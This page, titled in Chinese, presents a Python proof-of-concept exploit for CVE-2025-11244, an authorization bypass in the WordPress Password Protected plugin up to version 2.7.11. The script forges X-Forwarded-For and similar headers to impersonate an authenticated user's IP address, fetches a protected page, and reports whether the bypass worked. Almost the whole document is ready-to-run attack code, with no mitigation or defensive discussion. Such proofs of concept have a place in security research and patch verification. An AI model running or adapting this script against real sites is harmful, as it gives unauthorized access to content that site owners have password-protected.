CVE-2025-11244 WordPress Password Protected插件IP欺骗授权绕过漏洞

# CVE-2025-11244 PoC - IP Spoofing Authorization Bypass # Affected: WordPress Password Protected Plugin <= 2.7.11 # Condition: 'Use transients' option must be enabled import requests import sys TARGET_URL = "http://target-wordpress-site.com/" LEGITIMATE_USER_IP = "192.168.1.100" # IP of a legitimately authenticated user PROTECTED_PAGE = "http://target-wordpress-site.com/protected-page/" def exploit_ip_spoofing(): """ Exploit the IP spoofing vulnerability in Password Protected plugin. The plugin trusts X-Forwarded-For header to determine user IP address. """ headers = { # Spoof the IP address of a legitimate authenticated user 'X-Forwarded-For': LEGITIMATE_USER_IP, 'X-Client-IP': LEGITIMATE_USER_IP, 'HTTP_CLIENT_IP': LEGITIMATE_USER_IP, 'X-Real-IP': LEGITIMATE_USER_IP, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Target: {TARGET_URL}") print(f"[*] Spoofing IP: {LEGITIMATE_USER_IP}") print(f"[*] Sending request with spoofed headers...") try: # First request - attempt to bypass protection response = requests.get(PROTECTED_PAGE, headers=headers, timeout=10) if response.status_code == 200: # Check if we got access to protected content if 'password' not in response.text.lower() or 'protected' not in response.text.lower(): print("[+] SUCCESS: Authorization bypass achieved!") print(f"[+] Accessed protected content without password") return True print("[-] Failed to bypass authorization") print("[*] Possible reasons:") print(" - 'Use transients' option is not enabled") print(" - Site is behind a CDN/reverse proxy that overwrites headers") print(" - Incorrect target IP address") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11244 - Password Protected Plugin IP Spoofing PoC") print("=" * 60) exploit_ip_spoofing()